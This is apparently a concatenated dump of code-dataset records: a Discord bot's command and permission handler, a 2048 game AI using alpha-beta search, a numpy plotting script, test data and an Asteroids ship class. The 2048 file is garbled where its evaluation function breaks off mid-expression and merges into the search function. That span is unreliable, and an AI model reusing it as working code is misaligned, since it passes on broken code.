= %s AND key = %s LIMIT 1;\",\n [user, guild, key],\n )\n else:\n cur.execute(\n \"SELECT value FROM user_preferences WHERE user_id = %s AND guild_id IS NULL AND key = %s LIMIT 1;\",\n [user, key],\n )\n value = cur.fetchone()\n if value:\n value = value[0]\n else:\n if guild:\n cur.execute(\n \"SELECT value FROM user_preferences WHERE user_id = %s AND guild_id = %s AND key = %s LIMIT 1;\",\n [user, guild, key],\n )\n else:\n cur.execute(\n \"SELECT value FROM user_preferences WHERE user_id = %s AND guild_id IS NULL AND key = %s LIMIT 1;\",\n [user, key],\n )\n old_value = cur.fetchone()\n if old_value:\n if guild:\n cur.execute(\n \"UPDATE user_preferences SET value = %s WHERE user_id = %s AND guild_id = %s AND key = %s;\",\n [value, user, guild, key],\n )\n else:\n cur.execute(\n \"UPDATE user_preferences SET value = %s WHERE user_id = %s AND guild_id IS NULL AND key = %s;\",\n [value, user, key],\n )\n else:\n cur.execute(\n \"INSERT INTO user_preferences (user_id, guild_id, key, value) VALUES (%s, %s, %s, %s);\",\n [user, guild, key, value],\n )\n conn.commit()\n return value\n\n def is_admin(self, message, user=None):\n global config\n if hasattr(message, \"channel\"):\n channel = message.channel\n else:\n channel = message\n if user is None:\n try:\n user = channel.guild.get_member(message.author.id) or message.author\n except AttributeError:\n user = message.author\n if type(user) is discord.Member and user.guild.id != channel.guild.id:\n member = channel.guild.get_member(user)\n if member is None:\n user = client.get_user(user.id)\n else:\n user = member\n globalAdmin = user.id == config[\"discord\"].get(\"globalAdmin\", 0)\n serverAdmin = (\n globalAdmin and config[\"discord\"].get(\"globalAdminIsServerAdmin\", False)\n ) or (type(user) is discord.Member and user.guild_permissions.manage_webhooks)\n channelAdmin = (\n (globalAdmin and config[\"discord\"].get(\"globalAdminIsServerAdmin\", False))\n or serverAdmin\n or (\n type(user) is discord.Member\n and user.permissions_in(channel).manage_webhooks\n )\n )\n return {\"global\": globalAdmin, \"server\": serverAdmin, \"channel\": channelAdmin}\n\n def allowCommand(self, command, message, user=None):\n global config\n if not user:\n user = message.author\n admin = self.is_admin(message, user=user)\n if \"admin\" in command:\n if command[\"admin\"] == \"global\" and admin[\"global\"]:\n return True\n # Guild admin commands\n if type(message.channel) != discord.DMChannel:\n # Server-specific\n if (\n str(command[\"admin\"]).startswith(\"server:\")\n and message.guild.id in str_to_arr(command[\"admin\"].split(\":\")[1])\n and admin[\"server\"]\n ):\n return True\n # Channel-specific\n elif (\n str(command[\"admin\"]).startswith(\"channel:\")\n and message.channel.id in str_to_arr(command[\"admin\"].split(\":\")[1])\n and admin[\"channel\"]\n ):\n return True\n # Any server\n elif command[\"admin\"] in [\"server\", True] and admin[\"server\"]:\n return True\n # Any channel\n elif command[\"admin\"] == \"channel\" and admin[\"channel\"]:\n return True\n # Unprivileged\n if command[\"admin\"] == False:\n return True\n else:\n # Invalid config\n return False\n else:\n # No admin set == Unprivileged\n return True\n\n def get_member_named(self, guild, name, allow_insensitive=True):\n result = None\n members = guild.members\n if len(name) > 5 and name[-5] == \"#\":\n # The 5 length is checking to see if #0000 is in the string,\n # as a#0000 has a length of 6, the minimum for a potential\n # discriminator lookup.\n potential_discriminator = name[-4:]\n\n # do the actual lookup and return if found\n # if it isn't found then we'll do a full name lookup below.\n result = discord.utils.get(\n members, name=name[:-5], discriminator=potential_discriminator\n )\n if result is not None:\n return result\n\n result = discord.utils.find(lambda m: m.name == name, members)\n if result is not None:\n return result\n\n result = discord.utils.find(lambda m: m.nick == name, members)\n if result is not None:\n return result\n\n if not allow_insensitive:\n return None\n\n name = name.lower()\n result = discord.utils.find(lambda m: name == m.name.lower(), members)\n if result is not None:\n return result\n\n result = discord.utils.find(lambda m: name == m.nick.lower(), members)\n if result is not None:\n return result\n\n def accessible_commands(self, message, user=None):\n global config\n if message.author.id in config[\"moderation\"].get(\"blacklist-user-usage\"):\n return []\n admin = self.is_admin(message, user=user)\n if message.guild:\n guild_id = message.guild.id\n else:\n guild_id = -1\n admin[\"\"] = True\n admin[None] = True\n admin[False] = True\n if admin[\"global\"]:\n\n def command_filter(c):\n return (\n admin[c.get(\"admin\")]\n and (guild_id in c.get(\"whitelist_guild\", [guild_id]))\n and (\n (guild_id not in c.get(\"blacklist_guild\", []))\n or config[\"discord\"].get(\"globalAdminIgnoresBlacklists\", True)\n )\n )\n\n elif admin[\"server\"]:\n\n def command_filter(c):\n return (\n admin[c.get(\"admin\")]\n and (guild_id in c.get(\"whitelist_guild\", [guild_id]))\n and (\n (guild_id not in c.get(\"blacklist_guild\", []))\n or config[\"discord\"].get(\"serverAdminIgnoresBlacklists\", False)\n )\n )\n\n elif admin[\"channel\"]:\n\n def command_filter(c):\n return (\n admin[c.get(\"admin\")]\n and (guild_id in c.get(\"whitelist_guild\", [guild_id]))\n and (\n (guild_id not in c.get(\"blacklist_guild\", []))\n or config[\"discord\"].get(\"channelAdminIgnoresBlacklists\", False)\n )\n )\n\n else:\n\n def command_filter(c):\n return (\n admin[c.get(\"admin\")]\n and (guild_id in c.get(\"whitelist_guild\", [guild_id]))\n and (guild_id not in c.get(\"blacklist_guild\", []))\n )\n\n try:\n return list(filter(command_filter, self.commands))\n except IndexError:\n return []\n\n def get_command(\n ch,\n target_trigger,\n message=None,\n mode=\"exact\",\n insensitive=True,\n min_args=0,\n max_args=99999,\n user=None,\n ):\n if insensitive:\n target_trigger = target_trigger.lower()\n if message:\n accessible_commands = ch.accessible_commands(message, user=user)\n else:\n accessible_commands = ch.commands\n if mode == \"keyword\":\n\n def query_filter(c):\n return (\n any(target_trigger in trigger for trigger in c[\"trigger\"])\n and min_args <= c.get(\"args_num\", 0) <= max_args\n )\n\n if mode == \"keyword_trie\":\n\n def query_filter(c):\n return (\n target_trigger.startswith(c[\"trigger\"])\n and min_args <= c.get(\"args_num\", 0) <= max_args\n )\n\n elif mode == \"description\":\n\n def query_filter(c):\n return (\n any(target_trigger in trigger for trigger in c[\"trigger\"])\n or target_trigger in c.get(\"description\", \"\").lower()\n and min_args <= c.get(\"args_num\", 0) <= max_args\n )\n\n else: # if mode == \"exact\":\n\n def query_filter(c):\n return (\n target_trigger in c[\"trigger\"]\n and min_args <= c.get(\"args_num\", 0) <= max_args\n )\n\n try:\n return list(filter(query_filter, accessible_commands))\n except IndexError:\n return []\n\n\nasync def help_function(message, client, args):\n global ch\n try:\n arg = None\n verbose = False\n public = False\n while len(args) > 0:\n arg = args[0]\n arg = arg.strip().lower()\n if arg == \"verbose\":\n verbose = True\n arg = None\n args = args[1:]\n elif arg == \"public\":\n public = True\n arg = None\n args = args[1:]\n else:\n arg = args[0]\n break\n\n if message.content.startswith(\"!man\"):\n public = True\n\n if ch.is_admin(message)[\"server\"] and public:\n target = message.channel\n else:\n target = message.author\n\n if len(args) == 0:\n arg = None\n\n if arg:\n keyword = \" \".join(args).strip().lower()\n if keyword.startswith(\"!\"):\n accessible_commands = ch.get_command(keyword, message, mode=\"keyword\")\n else:\n accessible_commands = ch.get_command(\n keyword, message, mode=\"description\"\n )\n\n # Set verbose if filtered list\n if len(accessible_commands) < 5:\n verbose = True\n public = True\n else:\n try:\n accessible_commands = ch.accessible_commands(message)\n except IndexError:\n accessible_commands = []\n if not verbose:\n try:\n accessible_commands = list(\n filter(lambda c: not c.get(\"hidden\", False), accessible_commands)\n )\n except IndexError:\n accessible_commands = []\n if target == message.author and len(accessible_commands):\n await message.add_reaction(\"✅\")\n if len(args) > 0 and len(accessible_commands) and verbose:\n helpMessageBody = \"\\n\".join(\n [\n f'__{command[\"module\"]}__ `{\"` or `\".join(command[\"trigger\"])}`: {command[\"description\"]}\\nMinimum Arguments ({command[\"args_num\"]}): {\" \".join(command[\"args_name\"])}'\n for command in accessible_commands\n ]\n )\n elif len(accessible_commands) == 0:\n helpMessageBody = \"No commands accessible, check your input\"\n else:\n helpMessageBody = \"\\n\".join(\n [\n f'__{command[\"module\"]}__ `{\"` or `\".join(command[\"trigger\"][:2])}`: {command[\"description\"]}'\n for command in accessible_commands\n ]\n )\n await messagefuncs.sendWrappedMessage(helpMessageBody, target)\n except Exception as e:\n exc_type, exc_obj, exc_tb = exc_info()\n logger.error(f\"HF[{exc_tb.tb_lineno}]: {type(e).__name__} {e}\")\n await message.add_reaction(\"🚫\")\n\n\ndef dumpconfig_function(message, client, args):\n global config\n if message.guild:\n dconfig = ch.scope_config(guild=message.guild)\n else:\n dconfig = config\n if len(args) == 1:\n return (\n \"```json\\n\"\n + ujson.dumps(dconfig.get(\" \".join(args)), ensure_ascii=False, indent=4)\n + \"```\"\n )\n else:\n return \"```json\\n\" + ujson.dumps(config, ensure_ascii=False, indent=4) + \"```\"\n\n\nclass Hotword:\n def __init__(self, ch, word, hotword, owner):\n self.owner = owner\n if hotword.get(\"target_emoji\"):\n if (\n len(hotword[\"target_emoji\"]) > 2\n and hotword[\"target_emoji\"] not in UNICODE_EMOJI\n ):\n intended_target_emoji = None\n if type(owner) == discord.Member:\n intended_target_emoji = discord.utils.get(\n owner.guild.emojis, name=hotword[\"target_emoji\"]\n )\n if not intended_target_emoji:\n intended_target_emoji = discord.utils.get(\n ch.client.emojis, name=hotword[\"target_emoji\"]\n )\n if intended_target_emoji:\n\n async def add_emoji(message, client, args):\n await message.add_reaction(intended_target_emoji)\n\n self.target = [add_emoji]\n else:\n raise ValueError(\"Target emoji not found\")\n else:\n\n async def add_emoji(message, client, args):\n await message.add_reaction(hotword[\"target_emoji\"])\n\n self.target = [add_emoji]\n elif hotword.get(\"dm_me\"):\n\n async def dm_me(owner, message, client, args):\n try:\n await messagefuncs.sendWrappedMessage(\n f\"Hotword {word} triggered by https://discordapp.com/channels/{message.guild.id}/{message.channel.id}/{message.id}\",\n client.get_user(owner.id),\n )\n except AttributeError:\n logger.debug(\n f\"Couldn't send message because owner couln't be dereferenced for {word} in {message.guild}\"\n )\n\n self.target = [partial(dm_me, self.owner)]\n elif owner == \"guild\" and hotword.get(\"target_function\"):\n self.target = [partial(ch.get_command, target_function_name)]\n else:\n raise ValueError(\"No valid target\")\n flags = 0\n if hotword.get(\"insensitive\"):\n flags = re.IGNORECASE\n self.user_restriction = hotword.get(\"user_restriction\", [])\n if type(owner) is not str and hotword.get(\"target_emoji\"):\n self.user_restriction.append(owner.id)\n self.regex = hotword[\"regex\"]\n self.compiled_regex = re.compile(hotword[\"regex\"], flags)\n\n def __iter__(self):\n return {\n \"regex\": self.regex,\n \"compiled_regex\": self.compiled_regex,\n \"owner\": self.owner,\n \"user_restriction\": self.user_restriction,\n \"target\": self.target,\n }\n\n\ndef load_guild_config(ch):\n def load_hotwords(ch):\n global regex_cache\n try:\n for guild in ch.client.guilds:\n guild_config = ch.scope_config(guild=guild, mutable=True)\n if guild_config and guild_config.get(\"hotwords\", \"\").startswith(\"{\"):\n try:\n hotwords = ujson.loads(guild_config.get(\"hotwords\", \"{}\"))\n except ValueError as e:\n logger.error(e)\n continue\n if not guild_config.get(\"hotwords_loaded\"):\n guild_config[\"hotwords_loaded\"] = \"\"\n for word in hotwords.keys():\n try:\n hotword = Hotword(ch, word, hotwords[word], \"guild\")\n except ValueError as e:\n logger.error(f\"Parsing {word} failed: {e}\")\n continue\n hotwords[word] = hotword\n guild_config[\"hotwords_loaded\"] += \", \" + word\n guild_config[\"hotwords_loaded\"] = guild_config[\n \"hotwords_loaded\"\n ].lstrip(\", \")\n if not regex_cache.get(guild.id):\n regex_cache[guild.id] = []\n logger.debug(\n f\"Extending regex_cache[{guild.id}] with {hotwords.values()}\"\n )\n regex_cache[guild.id].extend(hotwords.values())\n except NameError:\n pass\n except Exception as e:\n exc_type, exc_obj, exc_tb = exc_info()\n logger.error(f\"LGHF[{exc_tb.tb_lineno}]: {type(e).__name__} {e}\")\n\n def load_blacklists(ch):\n for guild in ch.client.guilds:\n guild_config = ch.scope_config(guild=guild)\n for command_name in guild_config.get(\"blacklist-commands\", []):\n ch.blacklist_command(command_name, guild.id)\n for guild in ch.client.guilds:\n guild_config = ch.scope_config(guild=guild)\n for command_name in guild_config.get(\"whitelist-commands\", []):\n ch.whitelist_command(command_name, guild.id)\n for guild in ch.client.guilds:\n guild_config = ch.scope_config(guild=guild)\n for command_name in guild_config.get(\"optinlist-commands\", []):\n ch.whitelist_limit_command(command_name, guild.id)\n\n logger.debug(\"LBL\")\n load_blacklists(ch)\n logger.debug(\"LGHW\")\n load_hotwords(ch)\n\n\n\"\"\"\nfletcher=# \\d user_preferences\n Table \"public.user_preferences\"\n Column | Type | Collation | Nullable | Default\n----------+--------+-----------+----------+---------\n user_id | bigint | | not null |\n guild_id | bigint | | not null |\n key | text | | not null |\n value | text | | |\nIndexes:\n \"user_prefs_idx\" btree (user_id, guild_id, key)\n\"\"\"\n\n\ndef load_user_config(ch):\n def load_tuppers(ch):\n global config\n cur = conn.cursor()\n cur.execute(\n \"\"\"\nSELECT\n p.user_id user_id, p.guild_id guild_id,\n LTRIM(o.prefix) prefix,\n n.value nick,\n a.value avatar\nFROM user_preferences p\n CROSS JOIN LATERAL unnest(string_to_array(p.value, ',')) AS o(prefix)\n LEFT JOIN user_preferences a\n ON p.user_id = a.user_id AND COALESCE(p.guild_id, 0) = COALESCE(a.guild_id, 0) AND a.key = 'tupper-avatar-' || LTRIM(o.prefix)\n LEFT JOIN user_preferences n\n ON p.user_id = n.user_id AND COALESCE(p.guild_id, 0) = COALESCE(n.guild_id, 0) AND n.key = 'tupper-nick-' || LTRIM(o.prefix)\nWHERE p.key = 'tupper';\n\"\"\"\n )\n tuptuple = cur.fetchone()\n while tuptuple:\n if not config.get(\"sync\"):\n config[\"sync\"] = {}\n ignorekey = f\"tupper-ignore-{'m'+str(tuptuple[0])}\"\n if not config[\"sync\"].get(ignorekey):\n config[\"sync\"][ignorekey] = []\n config[\"sync\"][ignorekey].append(tuptuple[2])\n replacekey = f\"tupper-replace-{tuptuple[1]}\"\n config[\"sync\"][f\"{replacekey}-{tuptuple[0]}-{tuptuple[2]}-nick\"] = tuptuple[\n 3\n ]\n if tuptuple[4]:\n config[\"sync\"][\n f\"{replacekey}-{tuptuple[0]}-{tuptuple[2]}-avatar\"\n ] = tuptuple[4]\n logger.debug(f\"{replacekey}-{tuptuple[0]}-{tuptuple[2]}: {tuptuple[3:]}\")\n tuptuple = cur.fetchone()\n conn.commit()\n\n def load_hotwords(ch):\n global regex_cache\n global config\n try:\n cur = conn.cursor()\n cur.execute(\n \"SELECT user_id, guild_id, value FROM user_preferences WHERE key = 'hotwords';\"\n )\n hottuple = cur.fetchone()\n while hottuple:\n [user_id, guild_id, hotword_json] = hottuple\n logger.debug(f\"Loading {user_id} on {guild_id}: {hotword_json}\")\n guild_config = ch.scope_config(guild=guild_id, mutable=True)\n try:\n hotwords = ujson.loads(hotword_json)\n except ValueError as e:\n exc_type, exc_obj, exc_tb = exc_info()\n logger.info(f\"LUHF[{exc_tb.tb_lineno}]: {type(e).__name__} {e}\")\n hottuple = cur.fetchone()\n continue\n if not guild_config.get(\"hotwords_loaded\"):\n guild_config[\"hotwords_loaded\"] = \"\"\n for word in hotwords.keys():\n try:\n hotword = Hotword(\n ch,\n word,\n hotwords[word],\n ch.client.get_guild(guild_id).get_member(user_id),\n )\n except (ValueError, KeyError) as e:\n logger.error(f\"Parsing {word} for {user_id} failed: {e}\")\n continue\n except AttributeError as e:\n logger.info(\n f\"Parsing {word} for {user_id} failed: User is not on server {e}\"\n )\n continue\n hotwords[word] = hotword\n guild_config[\"hotwords_loaded\"] += \", \" + word\n if not regex_cache.get(guild_id):\n regex_cache[guild_id] = []\n add_me = list(filter(lambda hw: type(hw) == Hotword, hotwords.values()))\n logger.debug(f\"Extending regex_cache[{guild_id}] with {add_me}\")\n regex_cache[guild_id].extend(add_me)\n hottuple = cur.fetchone()\n conn.commit()\n except Exception as e:\n exc_type, exc_obj, exc_tb = exc_info()\n logger.error(f\"LUHF[{exc_tb.tb_lineno}]: {type(e).__name__} {e}\")\n\n def load_react_notifications(ch):\n cur = conn.cursor()\n cur.execute(\n \"SELECT user_id, guild_id, key, value FROM user_preferences WHERE key = 'subscribe';\"\n )\n subtuple = cur.fetchone()\n while subtuple:\n guild_config = ch.scope_config(guild=int(subtuple[1]), mutable=True)\n if not guild_config.get(\"subscribe\"):\n guild_config[\"subscribe\"] = {}\n if not guild_config[\"subscribe\"].get(int(subtuple[3])):\n guild_config[\"subscribe\"][int(subtuple[3])] = []\n guild_config[\"subscribe\"][int(subtuple[3])].append(int(subtuple[0]))\n subtuple = cur.fetchone()\n conn.commit()\n\n logger.debug(\"LRN\")\n load_react_notifications(ch)\n logger.debug(\"LT\")\n load_tuppers(ch)\n logger.debug(\"LUHW\")\n load_hotwords(ch)\n\n\ndef preference_function(message, client, args):\n global ch\n if len(args) > 1:\n value = \" \".join(args[1:])\n else:\n value = None\n return (\n \"```\"\n + ch.user_config(\n message.author.id,\n message.guild.id if message.guild else None,\n args[0],\n value,\n )\n + \"```\"\n )\n\n\nasync def dumptasks_function(message, client, args):\n tasks = await client.loop.all_tasks()\n await messagefuncs.sendWrappedMessage(tasks, message.author)\n\n\nasync def autounload(ch):\n try:\n await ch.runner.cleanup()\n except Exception as e:\n logger.debug(e)\n\n\ndef autoload(ch):\n global client\n global config\n if ch is None:\n ch = CommandHandler(client)\n ch.add_command(\n {\n \"trigger\": [\"!dumptasks\"],\n \"function\": dumptasks_function,\n \"async\": True,\n \"hidden\": True,\n \"admin\": \"global\",\n \"args_num\": 0,\n \"args_name\": [],\n \"description\": \"Dump current task stack\",\n }\n )\n ch.add_command(\n {\n \"trigger\": [\"!dumpbridges\"],\n \"function\": lambda message, client, args: \", \".join(\n ch.webhook_sync_registry.keys()\n ),\n \"async\": False,\n \"hidden\": True,\n \"admin\": \"global\",\n \"args_num\": 0,\n \"args_name\": [],\n \"description\": \"Output all bridges\",\n }\n )\n ch.add_command(\n {\n \"trigger\": [\"!dumpconfig\"],\n \"function\": dumpconfig_function,\n \"async\": False,\n \"hidden\": True,\n \"admin\": \"global\",\n \"args_num\": 0,\n \"args_name\": [],\n \"description\": \"Output current config\",\n }\n )\n ch.add_command(\n {\n \"trigger\": [\"!preference\"],\n \"function\": preference_function,\n \"async\": False,\n \"args_num\": 1,\n \"args_name\": [\"key\", \"[value]\"],\n \"description\": \"Set or get user preference for this guild\",\n }\n )\n ch.add_command(\n {\n \"trigger\": [\"!help\", \"!man\"],\n \"function\": help_function,\n \"async\": True,\n \"args_num\": 0,\n \"args_name\": [],\n \"description\": \"List commands and arguments\",\n }\n )\n ch.user_config.cache_clear()\n if config and ch.client:\n load_user_config(ch)\n if len(ch.commands) > 5:\n load_guild_config(ch)\n ch.client.loop.create_task(run_web_api(config, ch))\n logging.getLogger(\"discord.voice_client\").setLevel(\"CRITICAL\")\n\n\nasync def run_web_api(config, ch):\n app = Application()\n app.router.add_post(\"/\", ch.web_handler)\n\n runner = AppRunner(app)\n await runner.setup()\n ch.runner = runner\n site = web.TCPSite(\n runner,\n config.get(\"webconsole\", {}).get(\"hostname\", \"::\"),\n config.get(\"webconsole\", {}).get(\"port\", 25585),\n )\n try:\n await site.start()\n except OSError:\n pass\n ch.site = site\n","repo_name":"l1n/fletcher","sub_path":"commandhandler.py","file_name":"commandhandler.py","file_ext":"py","file_size_in_byte":82462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"13226906378","text":"Inf = float('inf')\r\nimport numpy as np\r\nWeight_L = np.array((1.0,1.05,1.1,1.15,1.2,1.2,1.2,1.2))\r\nWeight_R = np.array((1.2,1.2,1.2,1.2,1.15,1.1,1.05,1.0))\r\ndef getmark(board, isFirst:bool):\r\n \"评估函数\"\r\n Value, Belong = np.array(board.getRaw()).transpose((2,0,1))\r\n return np.sum(((Belong<>1,not Gamemode&1\r\n if depth >= 6 or Round == 500: #大于最大深度时\r\n alpha = getmark(board,isFirst)\r\n return (alpha,alpha)\r\n #以下为一般情况\r\n if mode == 0: #落子阶段\r\n #第一步,找出全部可行落子\r\n Self_part = board.getNext(isFirst,Round) #自己棋盘落子的位置\r\n #available为全部可行位置\r\n available = [Self_part] if Self_part else []\r\n if Round > 30:available += board.getNone(not isFirst) #对手棋盘可落子的位置\r\n #第二步,迭代模拟 \r\n if len(available) == 0: #无合法移动的特殊情况\r\n if not depth&1:return -Inf, -Inf\r\n return simulation(depth+1,Round,Gamemode+1,not is_max,board,alpha,beta)\r\n #一般情况\r\n result = available[0]\r\n for position in available: #子树对决\r\n new_board = board.copy()\r\n new_board.add(isFirst,position)\r\n alpha_beta = simulation(depth+1,Round,Gamemode+1,not is_max,new_board,alpha,beta)\r\n #更新alpha-beta\r\n if is_max:\r\n if not depth:old_alpha = alpha #对于树根,需要比较alpha值的变化\r\n alpha = max(alpha, *alpha_beta)\r\n if not depth and alpha > old_alpha: result = position #当alpha值变大时,落子位置更新\r\n else: beta = min(beta, *alpha_beta)\r\n if alpha >= beta: break#alpha-beta剪枝\r\n \r\n #返回结果\r\n if depth:return alpha, beta\r\n return result\r\n else: #合并阶段\r\n No_available = True\r\n for move in range(4):\r\n #跳过非法合并\r\n new_board = board.copy()\r\n if not new_board.move(isFirst, move):continue\r\n elif No_available:\r\n No_available = False\r\n if not depth: result = move\r\n #子树对决\r\n alpha_beta = simulation(depth+1,Round+1-isFirst,(Gamemode+1)&3,not is_max,new_board,alpha,beta = beta)\r\n #更新alpha-beta\r\n if is_max:\r\n if not depth:old_alpha = alpha#对于树根,需要比较alpha值的变化 \r\n alpha = max(alpha, *alpha_beta)\r\n if not depth and alpha > old_alpha:result = move#当alpha值变大时,落子位置更新 \r\n else:beta = min(beta, *alpha_beta)\r\n if alpha >= beta:break#alpha-beta剪枝 \r\n #无合法移动的特殊情况\r\n if No_available:\r\n if not depth&1: return -Inf, -Inf\r\n return simulation(depth+1,Round + 1-isFirst,(Gamemode+1)&3,not is_max,board,alpha,beta)\r\n else:\r\n if depth: return alpha, beta\r\n return result\r\nclass Player:\r\n def __init__(self, isFirst:bool, array:list):\r\n self.isFirst = isFirst\r\n def output(self, currentRound:int, board, mode:str):\r\n if mode == 'position':Gamemode = 1^self.isFirst # 给出己方下棋的位置 \r\n elif mode == 'direction':Gamemode = 2+(1^self.isFirst) # 给出己方合并的方向 \r\n else:return\r\n return simulation(0, currentRound,Gamemode,True,board,-Inf,Inf)\r\n","repo_name":"clbm/SESSDSA-2048-F19-X-ray-","sub_path":"α-β剪枝代码及调试/green light_2.py","file_name":"green light_2.py","file_ext":"py","file_size_in_byte":3711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"19560091739","text":"import numpy as np \nimport matplotlib.pyplot as plt \n\n\na = 2\nb = 40\nc = 4\nd = 42\nxx = np.array([a,b])\nyy = np.array([c,d])\n\nmean_x = xx.mean()\nmean_y = yy.mean()\nstd_xx = xx.std()\nstd_yy = yy.std()\nmeans = [mean_x, mean_y]\nstd_x = std_xx/3\nstd_y = std_yy/3\n\ncorr = 0.7\n\ncovariance_crossed = std_x*std_y*corr\n\nvariance_x = std_x**2\nvariance_y = std_y**2\n\ncovs = [[variance_x, covariance_crossed],[covariance_crossed, variance_y]]\nprint(covs)\n\ntwo_dimensional_gaussian = np.random.multivariate_normal(means, covs, 1000).T\n\nplt.scatter(two_dimensional_gaussian[0], two_dimensional_gaussian[1])\nplt.show();\n","repo_name":"vitorpbarbosa7/data_science_general_concepts","sub_path":"49_bayesian_optmization/multivariate_normal/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"31558244938","text":"class Budget(object):\n type = \"cinema\"\n value = \"50\"\n value_empty = \"\"\n type_empty = \"\"\n empty_text_value = \"Budget value is empty\"\n empty_text_type = \"Budget type is empty\"\n empty_budget = \"\"\"You don't have any budgets at the moment. Click the + (plus) button up top to get started.\n\nBudget Watch lets you create budgets, then track spending during the month.\"\"\"","repo_name":"alexandrerlf/Appium-Budget","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"397086","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon May 31 23:03:12 2021\r\n\r\n@author: dms10\r\n\"\"\"\r\n\r\ns = 0\r\nfor x in range(1, 11):\r\n s = s+x\r\n print(\"x:\", x, \"sum:\", s)","repo_name":"egyptai/Python","sub_path":"forrange20210531.py","file_name":"forrange20210531.py","file_ext":"py","file_size_in_byte":165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"16982509656","text":"import pygame\nimport math\nfrom Objects import Bullet\nimport Settings as s\n\nclass Ship:\n\tdef __init__(self,x,y):\n\t\tself.centerpoint = (x,y) # center of the ship\t\t\n\t\tself.rotation = -90 #rotation in degrees\n\t\tself.directionvector = (math.cos(math.radians(self.rotation)),math.sin(math.radians(self.rotation))) #the tip of the ship\n\t\tself.backleft=(math.cos(math.radians(self.rotation+140)),math.sin(math.radians(self.rotation+140)))\n\t\tself.backright=(math.cos(math.radians(self.rotation+220)),math.sin(math.radians(self.rotation+220)))\n\t\tself.acceleration = 0.5\n\t\tself.minvelocity=1\n\t\tself.velocity = 0\n\t\tself.velocitymax = 10\n\t\tself.rotationspeed = 1\n\t\tself.scale = 20\n\t\tself.color=(255,255,255)\n\t\tself.bullets = []\n\t\tself.bullet_count=0\n\t\tself.shootcooldown=0\n\t\tself.debug=s.DEBUG\n\n\tdef shoot(self):\n\t\tif self.shootcooldown<=0:\n\t\t\tself.bullets.append(Bullet.Bullet(self.centerpoint[0],self.centerpoint[1],self.directionvector,self.bullet_count,self))\n\t\t\tself.bullet_count+=1\n\t\t\tself.shootcooldown=10\n\n\tdef getHitbox(self):\n\t\tx,y = self.centerpoint\n\t\treturn(x,y,self.scale/1.3)\n\n\tdef removeBullet(self,name):\n\t\tfor i in self.bullets:\n\t\t\tif i.id == name:\n\t\t\t\tprint(\"delete: \"+str(name))\n\t\t\t\tself.bullets.remove(i)\n\n\tdef getAABBShape(self,padding):\n\t\tx = (self.centerpoint[0]-self.scale)-padding\n\t\ty = (self.centerpoint[1]-self.scale)-padding\n\t\tw = ((self.centerpoint[0]+self.scale)+padding) -x\n\t\th =\t((self.centerpoint[1]+self.scale)+padding) -y\n\t\treturn (x,y,w,h)\n\n\n\tdef rotate(self,degrees):\n\t\tself.rotation +=degrees\n\t\tself.directionvector = (math.cos(math.radians(self.rotation)),math.sin(math.radians(self.rotation))) #the tip of the ship\n\t\tself.backleft=(math.cos(math.radians(self.rotation+140)),math.sin(math.radians(self.rotation+140)))\n\t\tself.backright=(math.cos(math.radians(self.rotation+220)),math.sin(math.radians(self.rotation+220)))\n\t\t\n\n\tdef move(self):\n\t\tif self.velocityself.minvelocity:\n\t\t\t\tself.velocity-= (self.acceleration*(self.velocity/10))\n\t\t\telif self.velocity0:\n\t\t\tself.shootcooldown-=1\n\t\tfor b in self.bullets:\n\t\t\tb.update()\n\t\tif cx<0-10:\n\t\t\tcx=9+s.WIDTH\n\t\telif cx>s.WIDTH+10:\n\t\t\tcx = -9\n\t\tif cy<0-10:\n\t\t\tcy=s.HEIGHT+9\n\t\telif cy>s.HEIGHT+10:\n\t\t\tcy=-9\n\t\tself.centerpoint= (round(cx+vx),round(cy+vy))\n\n\n\n\tdef draw(self,screen):\n\t\t#draw function manditory for objects.\n\t\tpoints = [(list(self.centerpoint)[0]+(list(self.directionvector)[0]*self.scale),list(self.centerpoint)[1]+(list(self.directionvector)[1]*self.scale))]\n\t\tpoints+= [(list(self.centerpoint)[0]+(list(self.backright)[0]*self.scale),list(self.centerpoint)[1]+(list(self.backright)[1]*self.scale))]\n\t\tpoints+= [(list(self.centerpoint)[0]+(list(self.backleft)[0]*self.scale),list(self.centerpoint)[1]+(list(self.backleft)[1]*self.scale))]\n\n\t\tfor b in self.bullets:\n\t\t\tb.draw(screen)\n\n\t\tpygame.draw.polygon(screen,self.color,points)\n\t\tpygame.draw.circle(screen, (255,0,0), self.centerpoint, 1)\n\n\n\t\t#Collision box\n\t\tif self.debug:\n\t\t\tpadding = 10\n\t\t\tx,y,w,h = self.getAABBShape(padding)\n\t\t\tpygame.draw.rect(screen, (0,0,255),pygame.Rect(x,y,w,h),1)\n\t\t\tcx,cy,cr= self.getHitbox()\n\t\t\tpygame.draw.circle(screen,(0,255,0),(cx,cy),math.floor(cr),1)\n","repo_name":"IrhaRs/Asteroids","sub_path":"Objects/Ship.py","file_name":"Ship.py","file_ext":"py","file_size_in_byte":3467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
